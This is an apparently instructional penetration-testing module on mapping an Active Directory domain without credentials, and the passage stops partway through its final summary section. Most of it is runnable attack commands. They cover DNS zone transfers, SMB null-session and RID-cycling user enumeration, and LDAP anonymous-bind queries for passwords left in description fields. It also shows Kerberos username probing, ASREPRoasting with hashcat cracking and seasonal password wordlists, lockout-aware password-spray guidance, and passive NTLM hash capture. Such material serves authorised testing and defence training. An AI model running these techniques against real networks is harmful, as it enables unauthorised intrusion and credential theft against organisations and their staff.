Zero-Credential Domain Mapping

Updated 2026-05-11· 26 min read· 2,922 views
Share:

Pre-Authentication Reconnaissance

Zero-Credential Domain Mapping

This module covers everything an operator can enumerate, extract, and weaponize against an Active Directory environment before possessing a single valid account credential. This is the most important phase of an AD engagement poor recon here means wasted time and unnecessary noise later.


1. Phase Overview & Methodology

Why Zero-Credential Recon Matters

Before firing a single password or capturing a single hash, the AD environment already exposes a substantial attack surface. This is not a minor detail organizations consistently underestimate how much an unauthenticated attacker can learn. In many real-world engagements, the zero-credential phase alone produces:

  • A complete list of valid domain user accounts

  • The full domain password policy (lockout threshold, duration, complexity)

  • Crackable Kerberos hashes for accounts with pre-authentication disabled

  • Internal hostnames, service names, and IP allocations from DNS

  • Forest and trust topology

  • Installed enterprise software (Exchange, SCCM, ADFS, LAPS)

  • Credentials stored in LDAP description fields by lazy admins

All of this before a single login attempt. The goal of this phase is to delay credential use as long as possible the more you know first, the more precisely (and quietly) you can act.

1. External OSINT (no network contact)
      ↓
2. DNS enumeration (passive first, then active)
      ↓
3. Network host discovery & port scanning
      ↓
4. SMB null session & RPC enumeration
      ↓
5. LDAP anonymous bind
      ↓
6. Kerberos user enumeration
      ↓
7. ASREPRoasting (if usernames found)
      ↓
8. Passive on-segment traffic analysis (if inside network)
      ↓
9. Certificate / ADFS external recon

Always exhaust passive and low-noise techniques before moving to active enumeration. Ordering matters for OpSec.

Lab Setup for This Module

# Recommended toolkit (Kali/Parrot)
sudo apt install -y ldap-utils smbclient samba-common-bin enum4linux-ng nmap \
  python3-impacket krb5-user dnsutils responder
# Note: rpcclient is included with smbclient/samba-common-bin no separate install needed

# Go tools
go install github.com/ropnop/kerbrute@latest

# Python tools
pip3 install impacket bloodhound

# Set your target variables for all commands below
export DC_IP="10.10.10.1"
export DOMAIN="corp.local"
export DC_HOST="dc01.corp.local"

2. OSINT & External Recon Before Touching the Network

This phase generates zero network traffic to the target. It should always be completed first.

2.1 Certificate Transparency Logs

Every TLS certificate issued by a public CA is logged in Certificate Transparency (CT) logs. Organizations using internal services with public-facing TLS OWA, ADFS, VPN portals, Azure AD Connect inadvertently expose their internal naming scheme.

# crt.sh the most comprehensive CT aggregator
curl -s "https://crt.sh/?q=%.corp.com&output=json" | \
  jq -r '.[].name_value' | \
  sed 's/\*\.//g' | \
  sort -u | \
  tee ct_hosts.txt

# Look specifically for wildcard certs reveals internal domain names
curl -s "https://crt.sh/?q=corp.local&output=json" | jq -r '.[].name_value'

# Censys requires free account but has richer data
# Search: parsed.names: corp.com AND tags: trusted

# What to look for in CT results:
# - autodiscover.corp.com        → Exchange server
# - sts.corp.com / adfs.corp.com → ADFS / federated identity
# - vpn.corp.com                 → VPN concentrator
# - dc01.corp.local              → Internal DC via SAN field
# - sccm.corp.local              → SCCM (juicy lateral target)
# - exchange.corp.local          → Exchange internal FQDN

The Subject Alternative Name (SAN) field in certificates is particularly valuable it often contains internal FQDNs that appear when ADFS or Exchange certs are issued by a public CA. You now have internal naming conventions without sending a single packet to the target.

2.2 Shodan & Censys for Exposed AD Services

Organizations with internet-facing LDAP, LDAPS, or RDP on DCs are common findings. Shodan and Censys let you identify these before you’re even on-network.

# Shodan CLI queries
shodan search "org:TargetCorp port:389"      # LDAP
shodan search "org:TargetCorp port:636"      # LDAPS
shodan search "org:TargetCorp port:3389"     # RDP
shodan search "org:TargetCorp port:5985"     # WinRM
shodan search "ssl.cert.subject.cn:corp.com" # By cert CN

# Censys web searches
# ip.services.port:389 AND autonomous_system.organization: "TargetCorp"

# What you get from LDAP banner:
# - Domain naming context (DC=corp,DC=local)
# - AD version
# - Sometimes: supportedExtension OIDs that reveal configuration

2.3 Email Harvesting & Username Pattern Derivation

Username enumeration via OSINT is underused. Most AD environments use predictable sAMAccountName formats derived from employee names.

# theHarvester aggregates email/host data from multiple sources
# Note: linkedin was removed as a default source in theHarvester v4+
# Valid free sources: google, bing, duckduckgo, baidu, yahoo, crtsh, dnsdumpster
theHarvester -d corp.com -b google,bing,duckduckgo,crtsh -l 500 -f harvest_output

# Hunter.io reveals email format and verified addresses
# https://hunter.io/domain/corp.com  (check email pattern field)
# Patterns: [email protected] → sAMAccountName: flast or firstname.lastname

# LinkedIn scraping (with proxies for scale)
python3 linkedin2username.py -u [email protected] -c "Target Corporation"

# Convert emails to usernames
cat emails.txt | awk -F@ '{print $1}' > raw_usernames.txt

# Generate username permutations from full names
# If you have "John Smith":
echo "jsmith
john.smith
johns
smithj
j.smith" >> usernames.txt

2.4 Password Breach Databases & Historical Creds

Corporate emails in breach databases often correlate with AD credentials, especially where password reuse exists.

# DeHashed, IntelX, HaveIBeenPwned (API)
curl -s "https://haveibeenpwned.com/api/v3/breachedaccount/[email protected]" \
  -H "hibp-api-key: YOUR_KEY"

# Check for password reuse patterns
# If breach shows "Autumn2019!" → try "Autumn2024!" or "Corp2024!"
# Season+Year patterns are extremely common in corporate environments

# Paste sites monitoring
# Use DorkSearch or PITT for GitHub dorking:
# "corp.com" "password" site:github.com
# "corp.local" extension:ps1
# "@corp.com" extension:xlsx

2.5 GitHub & Code Repository Recon

Developers frequently commit AD-related secrets, internal hostnames, and service account credentials to public repositories.

# GitHub dorking
# Search queries on GitHub:
# "corp.local" password
# "corp.com" LDAP
# "@corp.com" smtp
# "dc01.corp.local"
# "domain=corp.local"

# TruffleHog scans git history for secrets
trufflehog github --org=TargetCorp

# GitLeaks
gitleaks detect --source=/path/to/cloned/repo

# What to look for:
# - PowerShell scripts with hardcoded domain\serviceaccount:password
# - web.config with LDAP bind credentials
# - Deployment scripts with domain join credentials
# - appsettings.json with AD connection strings

3. Network Layer Discovery & DC Identification

3.1 Host Discovery

Before targeting DCs specifically, you need the network layout.

# ARP sweep most reliable on local segment (no firewall bypass needed)
sudo arp-scan -l                                   # Local segment
sudo arp-scan 10.10.10.0/24

# Ping sweep with nmap (ICMP + TCP)
nmap -sn 10.10.10.0/24 -oG - | grep "Up" | awk '{print $2}' > live_hosts.txt

# Netdiscover passive + active ARP
sudo netdiscover -r 10.10.10.0/24 -P

# Masscan for large networks much faster than nmap for discovery
sudo masscan -p80,443,88,389,445,3389 10.0.0.0/8 --rate=10000 -oL masscan_out.txt

3.2 DC-Specific Port Fingerprinting

Domain Controllers have a very consistent port fingerprint. Once you find hosts with this combination, you’ve found your DCs.

# Comprehensive DC port scan
nmap -p 53,88,135,139,389,445,464,636,3268,3269,3389,5985,9389 \
  --open -sV -sC \
  --script=ldap-rootdse,smb-os-discovery,krb5-enum-users \
  -oA dc_scan \
  10.10.10.0/24

# Quick DC identification just the defining ports
nmap -p 88,389,3268 --open 10.10.10.0/24

What each port tells you:

Port

Protocol

What It Confirms

Intel Value

88

Kerberos

Definitely a DC

Realm name, KDC version

389

LDAP

DC or LDAP server

Anonymous bind possible?

636

LDAPS

LDAP over TLS

Certificate info, domain name

3268

Global Catalog

DC + GC role

Forest topology, multi-domain

3269

GC over TLS

Same as above

9389

ADWS

Modern DC (2008R2+)

AD Web Services running

5985

WinRM

PS Remoting enabled

Future lateral movement

464

kpasswd

Kerberos pwd change

3.3 OS & Version Fingerprinting via SMB

# SMB OS discovery reveals Windows version, build number
nmap -p 445 --script smb-os-discovery 10.10.10.1

# Grab domain info from SMB negotiation
nmap -p 445 --script smb2-security-mode,smb-security-mode 10.10.10.1

# Sample output analysis:
# OS: Windows Server 2019 Standard 17763
# Domain: CORP
# Forest name: corp.local
# Computer name: DC01
# NetBIOS computer name: DC01
# SMB signing enabled and required  ← Critical for relay planning

# netexec (formerly crackmapexec) faster for large ranges
netexec smb 10.10.10.0/24 --gen-relay-list relay_targets.txt
# relay_targets.txt = hosts with SMB signing NOT required = relay candidates

4. DNS Enumeration The Underutilized Gold Mine

DNS is the most information-dense, lowest-noise recon vector in an AD environment. AD is fundamentally DNS-dependent, meaning the DNS zone contains a near-complete map of the infrastructure.

4.1 SRV Record Enumeration

AD publishes SRV records that explicitly document DC locations, Kerberos KDCs, and other services. These are public by design.

# Core AD SRV records guaranteed to exist on any AD network
nslookup -type=SRV _ldap._tcp.dc._msdcs.$DOMAIN $DC_IP
nslookup -type=SRV _kerberos._tcp.$DOMAIN $DC_IP
nslookup -type=SRV _kpasswd._tcp.$DOMAIN $DC_IP
nslookup -type=SRV _kerberos._udp.$DOMAIN $DC_IP
nslookup -type=SRV _ldap._tcp.$DOMAIN $DC_IP

# GC SRV reveals Global Catalog DCs (= PDC/important DCs)
nslookup -type=SRV _gc._tcp.$DOMAIN $DC_IP
nslookup -type=SRV _ldap._tcp.gc._msdcs.$DOMAIN $DC_IP

# Site-specific DCs reveals AD site topology
nslookup -type=SRV _ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.$DOMAIN $DC_IP

# PDC emulator the primary DC (most important target)
nslookup -type=SRV _ldap._tcp.pdc._msdcs.$DOMAIN $DC_IP

# Trust records reveals trusted domains
nslookup -type=SRV _ldap._tcp.DnsDomainName._msdcs.$DOMAIN $DC_IP

# Full sweep with dig
dig SRV _ldap._tcp.dc._msdcs.$DOMAIN @$DC_IP +short
dig SRV _kerberos._tcp.$DOMAIN @$DC_IP +short
dig SRV _gc._tcp.$DOMAIN @$DC_IP +short

Reading SRV records: Each record gives you priority weight port target. The target is the FQDN of the host providing the service that’s your DC name.

4.2 Zone Transfer Attempts

Zone transfers are misconfigured in a surprising number of environments, especially internal DNS zones. A successful transfer dumps the entire DNS zone every hostname, every IP.

# Attempt zone transfer
dig axfr $DOMAIN @$DC_IP
dig axfr $DOMAIN @10.10.10.1

# Try against all DNS servers found
for ns in $(dig NS $DOMAIN +short); do
  echo "[*] Trying zone transfer from $ns"
  dig axfr $DOMAIN @$ns
done

# Windows DNS server attempt incremental zone transfer (serial 0 = request full diff)
dig @$DC_IP $DOMAIN IXFR=0

# If successful parse the output
dig axfr $DOMAIN @$DC_IP | grep -E "^[a-zA-Z]" | awk '{print $1, $4, $5}' | \
  sort | tee zone_transfer.txt

# What a successful transfer reveals:
# - All hostnames and their IPs
# - Server naming conventions (srv-sql01, mgmt-ws-001, etc.)
# - Network segment allocation
# - Printer/device hostnames
# - Internal application servers

4.3 DNS Brute Force

When zone transfers are blocked, brute force the DNS zone against the internal DNS server.

# gobuster fast DNS brute force
gobuster dns -d $DOMAIN -r $DC_IP \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
  -t 50 --timeout 3s

# dnsrecon comprehensive DNS enumeration tool
dnsrecon -d $DOMAIN -n $DC_IP -t brt \
  -D /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt

# Also run standard AD-specific wordlist
cat << 'EOF' > ad_hosts.txt
dc
dc01
dc02
dc1
dc2
pdc
bdc
exchange
exch
mail
smtp
fs
fs01
fileserver
files
sccm
scom
sql
sql01
mssql
rdgw
rdweb
adfs
sts
vpn
proxy
wpad
wsus
print
scanner
backup
veeam
EOF

gobuster dns -d $DOMAIN -r $DC_IP -w ad_hosts.txt -t 20

# dnsx fast, multi-threaded
cat ad_hosts.txt | dnsx -d $DOMAIN -r $DC_IP -a -resp

4.4 Reverse DNS & PTR Records

# Reverse sweep a subnet
dnsrecon -r 10.10.10.0/24 -n $DC_IP

# Manual PTR lookup
for i in $(seq 1 254); do
  host 10.10.10.$i $DC_IP 2>/dev/null | grep "domain name pointer" && \
  echo "10.10.10.$i"
done

# nmap reverse DNS
nmap -sn -R 10.10.10.0/24 --dns-servers $DC_IP

4.5 WPAD & mDNS Discovery

# Check for WPAD record proxy auto-discovery
nslookup wpad $DC_IP
nslookup wpad.$DOMAIN $DC_IP

# If WPAD exists, clients may auto-configure proxy through this host
# This is relevant for relay attack planning

# mDNS enumeration (Bonjour/Avahi common on modern networks)
avahi-browse -at 2>/dev/null | head -50

5. SMB Null Sessions & RPC Enumeration

5.1 Understanding Null Sessions

A null session is an anonymous SMB connection (blank username, blank password) to the IPC$ share. Historically, null sessions exposed the entire SAM database. Modern Windows defaults have restricted this significantly, but misconfigurations remain common especially in environments upgraded from older Windows Server versions, or those with Group Policy conflicts.

# Test basic null session
smbclient -N -L //$DC_IP
# If you see share list → null session allowed

# rpcclient the most powerful null session tool
rpcclient -U "" -N $DC_IP

# Within rpcclient, run:
rpcclient $> enumdomusers       # All domain users with RIDs
rpcclient $> enumdomgroups      # All domain groups
rpcclient $> querydominfo       # Domain info (lockout policy, user count)
rpcclient $> getdompwinfo       # Password policy
rpcclient $> enumprinters       # Printers (reveals hostnames)
rpcclient $> netshareenum       # Enumerate shares
rpcclient $> lsaquery           # LSA policy info
rpcclient $> enumdomsids        # Enumerate domain SIDs

5.2 Detailed Password Policy Extraction

This is critical before any spray attempt. Getting locked out on an engagement is a career-limiting event.

# Via rpcclient
rpcclient -U "" -N $DC_IP -c "getdompwinfo"
# Output includes:
# min_password_length: 8
# password_properties: 0x00000001  ← DOMAIN_PASSWORD_COMPLEX
# max_password_age: 42 days
# min_password_age: 1 day
# password_history_length: 24
# lockout_threshold: 5            ← CRITICAL
# lockout_duration: 30 minutes
# lockout_observation_window: 30 minutes

# Via enum4linux-ng (wraps everything)
enum4linux-ng -P $DC_IP

# Via nmap script
nmap -p 445 --script smb-enum-domains $DC_IP

# Parsing lockout settings:
# lockout_threshold: 0 → no lockout (spray freely)
# lockout_threshold: 3 → very restrictive (1 attempt per 30min window)
# lockout_threshold: 5-10 → typical (spray 1 per 30min to be safe)
# lockout_threshold: 20+ → lenient (spray faster)

5.3 Full User Enumeration via RPC

# Automated - enum4linux-ng does everything
# -oA writes all output formats (JSON + YAML) with given prefix
enum4linux-ng -A $DC_IP -oA enum_output

# Manual rpcclient user enumeration with SID cycling
rpcclient -U "" -N $DC_IP -c "enumdomusers" 2>/dev/null | \
  grep -oP '\[.*?\]' | grep -v '0x' | tr -d '[]' | tee domain_users.txt

# RID cycling enumerate users by RID (works even when enumdomusers is blocked)
# Domain SID is typically: S-1-5-21-<3 numbers>
# Well-known RIDs: 500=Administrator, 501=Guest, 502=krbtgt
# User RIDs typically start at 1000

# Get domain SID first
rpcclient -U "" -N $DC_IP -c "lsaquery" | grep "Domain Sid"

# Then cycle RIDs
for rid in $(seq 500 1200); do
  rpcclient -U "" -N $DC_IP \
    -c "queryuser $rid" 2>/dev/null | \
    grep "User Name\|Acct Flags" && echo "RID: $rid"
done

# Automated RID cycling
impacket-lookupsid -no-pass ''@$DC_IP 2>/dev/null | \
  grep "SidTypeUser" | \
  awk '{print $2}' | \
  cut -d'\' -f2 | \
  tee rid_users.txt

5.4 RPC Endpoint Mapper

# Dump all RPC endpoints no auth required
impacket-rpcdump @$DC_IP | tee rpcdump_output.txt

# Parse for interesting services
impacket-rpcdump @$DC_IP | grep -E "ms-exchange|mssched|MicrosoftExchange|SCCM|sms"

# What rpcdump reveals:
# - Exact OS version from binding annotations
# - Exchange presence (specific UUIDs)
# - SCCM/SMS presence
# - Internal IP addresses in ncacn_ip_tcp bindings (behind NAT → reveals internal IPs)
# - Remote registry service running
# - Task scheduler accessible

# Specifically check for dangerous RPC interfaces:
impacket-rpcdump @$DC_IP | grep -E "DRSR|samr|lsarpc|netlogon"
# DRSR = DCSync-capable interface
# samr = SAM access
# lsarpc = LSA interface

6. LDAP Anonymous Bind Enumeration

6.1 Testing for Anonymous Bind

LDAP anonymous bind allows unauthenticated queries to the directory. While default Windows Server configurations restrict this, many organizations explicitly enable it for legacy application compatibility.

# Test for anonymous bind capability
ldapsearch -x -H ldap://$DC_IP -b "" -s base "(objectClass=*)" \
  namingContexts defaultNamingContext ldapServiceName serverName

# Successful response includes:
# namingContexts: DC=corp,DC=local          ← Your base DN
# namingContexts: CN=Configuration,DC=corp,DC=local
# namingContexts: CN=Schema,CN=Configuration,DC=corp,DC=local
# namingContexts: DC=DomainDnsZones,DC=corp,DC=local

# Check for extended capabilities
ldapsearch -x -H ldap://$DC_IP -b "" -s base "(objectClass=*)" \
  supportedSASLMechanisms supportedExtension supportedControl \
  supportedLDAPVersion

# LDAPS (port 636) try both
ldapsearch -x -H ldaps://$DC_IP -b "" -s base namingContexts

6.2 Full Directory Enumeration via Anonymous Bind

If anonymous bind is permitted, you have read access to the directory. This is equivalent to having a low-privilege domain account for enumeration purposes.

# Set your base DN
BASE="DC=corp,DC=local"

# Dump all users most critical query
ldapsearch -x -H ldap://$DC_IP -b "$BASE" \
  "(objectClass=user)" \
  sAMAccountName userPrincipalName description \
  pwdLastSet userAccountControl memberOf \
  mail telephoneNumber department \
  2>/dev/null | tee ldap_users.txt

# Extract just the usernames
grep "^sAMAccountName:" ldap_users.txt | awk '{print $2}' | tee usernames.txt

# Dump all groups + memberships
ldapsearch -x -H ldap://$DC_IP -b "$BASE" \
  "(objectClass=group)" \
  cn member managedBy description \
  2>/dev/null | tee ldap_groups.txt

# Find privileged group memberships
ldapsearch -x -H ldap://$DC_IP -b "$BASE" \
  "(cn=Domain Admins)" member

ldapsearch -x -H ldap://$DC_IP -b "$BASE" \
  "(cn=Enterprise Admins)" member

# Computers
ldapsearch -x -H ldap://$DC_IP -b "$BASE" \
  "(objectClass=computer)" \
  cn dNSHostName operatingSystem operatingSystemVersion \
  2>/dev/null | tee ldap_computers.txt

# Parse OS versions
grep -E "operatingSystem:|operatingSystemVersion:" ldap_computers.txt | \
  sort | uniq -c | sort -rn

6.3 High-Value Attribute Extraction

BASE="DC=corp,DC=local"

# ===== ACCOUNTS WITH PASSWORDS IN DESCRIPTION FIELD =====
# Lazy admins frequently put "Temp password: Winter2023!" in description
ldapsearch -x -H ldap://$DC_IP -b "$BASE" \
  "(&(objectClass=user)(description=*))" \
  sAMAccountName description | \
  grep -E "sAMAccountName:|description:" | \
  paste - - | grep -iv "Built-in\|service account created"

# ===== ACCOUNTS WITH PASSWORD NOT REQUIRED =====
# userAccountControl bit 0x20 = PASSWD_NOTREQD
# UAC value includes this if (uac_value & 32) = 32
ldapsearch -x -H ldap://$DC_IP -b "$BASE" \
  "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=32))" \
  sAMAccountName userAccountControl

# ===== ACCOUNTS WITH NO PASSWORD EXPIRY =====
# UAC bit 0x10000 = DONT_EXPIRE_PASSWORD
ldapsearch -x -H ldap://$DC_IP -b "$BASE" \
  "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=65536))" \
  sAMAccountName

# ===== ASREPRoastable ACCOUNTS (no pre-auth) =====
# UAC bit 0x400000 = DONT_REQUIRE_PREAUTH
ldapsearch -x -H ldap://$DC_IP -b "$BASE" \
  "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
  sAMAccountName

# ===== KERBEROASTABLE ACCOUNTS (have SPNs) =====
# These have servicePrincipalName set → targetable once you have any creds
# But check now so you know they exist
ldapsearch -x -H ldap://$DC_IP -b "$BASE" \
  "(&(objectClass=user)(servicePrincipalName=*)(!(samAccountName=krbtgt)))" \
  sAMAccountName servicePrincipalName

# ===== STALE ACCOUNTS (not logged in for 90+ days) =====
# Good candidates for password spray (may have old/unchanged passwords)
ldapsearch -x -H ldap://$DC_IP -b "$BASE" \
  "(&(objectClass=user)(lastLogonTimestamp<=132000000000000000))" \
  sAMAccountName lastLogonTimestamp

# ===== LAPS DEPLOYMENT CHECK =====
# If ms-Mcs-AdmPwd is in the schema, LAPS is deployed
# This tells you local admin passwords are managed (not default)
ldapsearch -x -H ldap://$DC_IP \
  -b "CN=Schema,CN=Configuration,DC=corp,DC=local" \
  "(name=ms-Mcs-AdmPwd)" lDAPDisplayName

# ===== FINE-GRAINED PASSWORD POLICY =====
# PSOs override the default domain policy for specific accounts/groups
ldapsearch -x -H ldap://$DC_IP \
  -b "CN=Password Settings Container,CN=System,DC=corp,DC=local" \
  "(objectClass=msDS-PasswordSettings)" \
  msDS-MinimumPasswordLength msDS-LockoutThreshold \
  msDS-LockoutObservationWindow msDS-PSOAppliesTo

6.4 Trust & Forest Enumeration

BASE="DC=corp,DC=local"

# Domain trusts
ldapsearch -x -H ldap://$DC_IP \
  -b "CN=System,$BASE" \
  "(objectClass=trustedDomain)" \
  cn trustType trustAttributes trustDirection flatName

# Trust direction values:
# 1 = Inbound (trusted domain trusts us they can auth here)
# 2 = Outbound (we trust them we can auth there)
# 3 = Bidirectional

# Trust type values:
# 1 = Windows NT downlevel
# 2 = Active Directory (Kerberos)
# 3 = MIT Kerberos realm

# Sites and subnets reveals network topology
ldapsearch -x -H ldap://$DC_IP \
  -b "CN=Sites,CN=Configuration,$BASE" \
  "(objectClass=subnet)" cn siteObject

7. Kerberos Pre-Authentication Attacks

7.1 Username Enumeration via AS-REQ Probing

The Kerberos AS-REQ / AS-REP exchange is stateless and leaks account validity through different error codes. This is the fastest, most reliable username enumeration method in modern AD environments.

# kerbrute the gold standard for Kerberos enumeration
# --safe skips accounts that already have bad password count (avoids triggering lockout)
kerbrute userenum \
  --dc $DC_IP \
  -d $DOMAIN \
  --output valid_users.txt \
  --safe \
  /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt

# With custom wordlist from OSINT phase
# --delay adds milliseconds between requests for OpSec
kerbrute userenum \
  --dc $DC_IP \
  -d $DOMAIN \
  --delay 500 \
  --output valid_users.txt \
  custom_users.txt

# Output: marks each result with [+] VALID for confirmed accounts

Kerberos Error Code Reference Critical Knowledge:

Error Code

Numeric

Meaning

Action

KDC_ERR_C_PRINCIPAL_UNKNOWN

6

Username does NOT exist

Discard

KDC_ERR_PREAUTH_REQUIRED

25

Username valid, needs pre-auth

Keep normal account

KDC_ERR_CLIENT_REVOKED

18

Account disabled/expired/locked

Keep account exists

KDC_ERR_KEY_EXPIRED

23

Password expired

Keep must change pw

KDC_ERR_POLICY

36

Workstation/time restriction

Keep account valid

KDC_ERR_WRONG_REALM

68

Wrong domain name

Fix your domain name

Note: Error 18 (CLIENT_REVOKED) is especially valuable it tells you the account exists even if disabled. Disabled accounts may still have valid credentials if re-enabled.

7.2 ASREPRoasting Without Credentials

ASREPRoasting targets accounts with “Do not require Kerberos preauthentication” enabled. When this flag is set, anyone can request a TGT (AS-REP) for that account without knowing the password. The TGT contains data encrypted with the user’s password hash which is then crackable offline.

# GetNPUsers request AS-REPs for no-preauth accounts
# With username list (no credentials needed)
impacket-GetNPUsers $DOMAIN/ \
  -usersfile valid_users.txt \
  -no-pass \
  -dc-ip $DC_IP \
  -format hashcat \
  -outputfile asrep_hashes.txt

# Alternative format for John
impacket-GetNPUsers $DOMAIN/ \
  -usersfile valid_users.txt \
  -no-pass \
  -dc-ip $DC_IP \
  -format john \
  -outputfile asrep_john.txt

# Pipe usernames found via LDAP anon bind directly into GetNPUsers
ldapsearch -x -H ldap://$DC_IP -b "DC=corp,DC=local" \
  "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=4194304))" \
  sAMAccountName | grep "^sAMAccountName:" | awk '{print $2}' | \
  while read user; do
    impacket-GetNPUsers $DOMAIN/$user -no-pass -dc-ip $DC_IP -format hashcat 2>/dev/null
  done >> asrep_hashes.txt

# Crack offline NO network traffic, no lockout risk
# hashcat mode 18200 = Kerberos 5 AS-REP etype 23
hashcat -m 18200 asrep_hashes.txt rockyou.txt --force
hashcat -m 18200 asrep_hashes.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
hashcat -m 18200 asrep_hashes.txt rockyou.txt -r /usr/share/hashcat/rules/d3ad0ne.rule

# Corporate password patterns create a targeted wordlist
cat << 'EOF' > corporate_patterns.txt
Company2024!
Company2024
Company@2024
Welcome1
Welcome1!
Password1
Password1!
Winter2024!
Spring2024!
Summer2024!
Autumn2024!
Fall2024!
Jan2024!
Feb2024!
Jan@2024
Changeme1!
EOF

# Add company-specific terms
echo "Corp2024!" >> corporate_patterns.txt
echo "CorpName2024!" >> corporate_patterns.txt

7.3 Understanding the AS-REP Hash Structure

The hash format returned by GetNPUsers:

$krb5asrep$23$user@CORP.LOCAL:AAAA...<ticket>...<encrypted_part>
  • $23$ = etype 23 = RC4-HMAC

  • The encrypted portion is encrypted with the user’s NT hash

  • Cracking this is equivalent to cracking the NT hash (same process, same wordlists)

  • If the account uses AES ($17$ or $18$), cracking is significantly slower

# If you get AES-encrypted AS-REPs (etype 17/18):
# hashcat does not have a dedicated ASREP-AES mode in most builds.
# Use john for AES ASREP hashes it handles $krb5asrep$17$ and $krb5asrep$18$ natively
john asrep_hashes.txt --wordlist=rockyou.txt --format=krb5asrep

# Alternatively, if using a modern hashcat build that supports etype 17/18 ASREP:
# Verify your hashcat version supports these modes before using
hashcat -m 19600 asrep_aes128.txt wordlist.txt  # etype 17, TGS-REP AES128 (Kerberoast confirm mode applies to your hash format)
hashcat -m 19700 asrep_aes256.txt wordlist.txt  # etype 18, TGS-REP AES256

# RC4 (etype 23) ASREP remains the most crackable and common always try to obtain etype 23
# GetNPUsers will return RC4 by default unless the domain enforces AES-only

8. Passive On-Segment Recon Responder & Traffic Analysis

When you have physical or logical access to a network segment (post VPN, wireless, physical plant access), passive traffic analysis is the lowest-noise, highest-reward technique available.

8.1 Responder in Analyze Mode

Responder is typically known as a poisoning tool but its -A (analyze) flag runs it purely in listen mode. No poisoning, no modification, no response injection. Pure intelligence collection.

# Analyze mode completely passive, no traffic injection
sudo responder -I eth0 -A

# What Responder captures in analyze mode:
# [+] NBT-NS queries → hostnames trying to resolve
# [+] LLMNR queries → hostnames with failed DNS
# [+] MDNS queries → local service discovery
# [+] HTTP → Basic/NTLM auth attempts (including username)
# [+] NTLM Type-1/2/3 messages → domain\username in Type-3
# [+] Browser queries → NetBIOS browser elections

Reading Responder analyze output:

[Analyze mode: LLMNR] Request by 10.10.10.50 for FILESERVER01, ignoring.
→ Host 10.10.10.50 is trying to reach FILESERVER01 (doesn't exist in DNS)
→ FILESERVER01 is a hostname to add to your target list

[Analyze mode: NBT-NS] Request by 10.10.10.25 for WPAD, ignoring.
→ WPAD proxy auto-discovery is active on this segment
→ WPAD poisoning would redirect HTTP traffic

[HTTP] NTLMv2 Client: 10.10.10.33 Username: CORP\jsmith
→ John Smith is authenticating somewhere over HTTP from 10.10.10.33
→ His username format is confirmed: jsmith
→ If you were poisoning, you'd have his NTLMv2 hash right now

8.2 Passive Packet Capture Analysis

# Tcpdump capture Kerberos and NTLM traffic passively
sudo tcpdump -i eth0 -w capture.pcap \
  "port 88 or port 389 or port 445 or port 80 or port 443"

# Tshark parse Kerberos exchanges
tshark -r capture.pcap -Y "kerberos" \
  -T fields -e kerberos.CNameString -e kerberos.realm \
  2>/dev/null | sort -u

# Parse NTLM from capture
tshark -r capture.pcap -Y "ntlmssp" \
  -T fields \
  -e ntlmssp.auth.domain \
  -e ntlmssp.auth.username \
  -e ntlmssp.auth.hostname \
  2>/dev/null | sort -u

# Extract NTLMv2 hashes from capture (if traffic is unencrypted)
# Use PCredz
python3 Pcredz -f capture.pcap

# What passive capture reveals:
# - Active usernames (from Kerberos CName and NTLM auth)
# - Workstation-to-user mappings (who is logged into which machine)
# - Service SPNs being requested (→ Kerberoastable services)
# - Domain name and realm
# - Authentication failures (→ bad password attempts, account states)

8.3 NTLM Relay Target Discovery

Even in analyze mode, you can identify relay candidates hosts without SMB signing that would be vulnerable if you switched to active mode.

# Identify SMB signing status across the subnet
netexec smb 10.10.10.0/24 --gen-relay-list relay_targets.txt 2>/dev/null
# relay_targets.txt contains all hosts with signing:False relay candidates

# Count by signing status
netexec smb 10.10.10.0/24 2>/dev/null | \
  grep -E "signing:True|signing:False" | \
  awk '{print $NF}' | sort | uniq -c

9. Certificate Services Recon (Unauthenticated)

Active Directory Certificate Services (AD CS) is increasingly targeted, and much of its attack surface is enumerable without credentials.

9.1 Identifying CA Infrastructure

# Find CA servers via DNS
nslookup -type=A "ca.$DOMAIN" $DC_IP
nslookup -type=A "pki.$DOMAIN" $DC_IP
nslookup -type=A "certsrv.$DOMAIN" $DC_IP
nslookup -type=A "adcs.$DOMAIN" $DC_IP

# HTTP web enrollment interface (no auth for initial page)
curl -s -I http://CA_SERVER/certsrv/
# 200 → Web enrollment active (unauthenticated access to enrollment page)
# 401 → Requires auth but confirms ADCS web enrollment is present

# LDAP query for CA objects (with anon bind)
ldapsearch -x -H ldap://$DC_IP \
  -b "CN=Certification Authorities,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" \
  "(objectClass=certificationAuthority)" \
  cn dNSHostName cACertificate

# Check for published certificate templates (readable structure)
ldapsearch -x -H ldap://$DC_IP \
  -b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=corp,DC=local" \
  "(objectClass=pKICertificateTemplate)" \
  cn msPKI-Certificate-Name-Flag msPKI-Enrollment-Flag \
  pkiExtendedKeyUsage

# ADFS endpoint discovery
curl -s https://sts.$DOMAIN/adfs/ls/idpinitiatedsignon.aspx
curl -s https://adfs.$DOMAIN/adfs/fs/federationserverservice.asmx
# Reveals: federation metadata, IdP name, domain hint

9.2 ADFS & External Federation Intel

# Fetch ADFS metadata publicly accessible, no auth
curl -s https://sts.$DOMAIN/FederationMetadata/2007-06/FederationMetadata.xml | \
  xmllint --format - | head -100

# What ADFS metadata reveals:
# - Internal domain name (even if external domain differs)
# - Token signing certificate (can enumerate users via ADFS)
# - Endpoint URLs

# AADInternals-style ADFS user enumeration
# POST to the usernamemixed endpoint with a candidate username
curl -s -X POST "https://sts.$DOMAIN/adfs/services/trust/2005/usernamemixed" \
  -H "Content-Type: application/soap+xml; charset=utf-8" \
  --data '<?xml version="1.0"?>...' | grep -i "DesktopSSOToken\|FailedAuthentication"
# Different responses for valid vs invalid usernames (similar to Kerberos)

10. Synthesizing Intel Building the Attack Map

After completing all phases, organize your findings into an actionable picture:

10.1 Consolidated Output Structure

/recon/
├── scope/
│   ├── dc_hosts.txt           # DC hostnames and IPs
│   ├── live_hosts.txt         # All live hosts on network
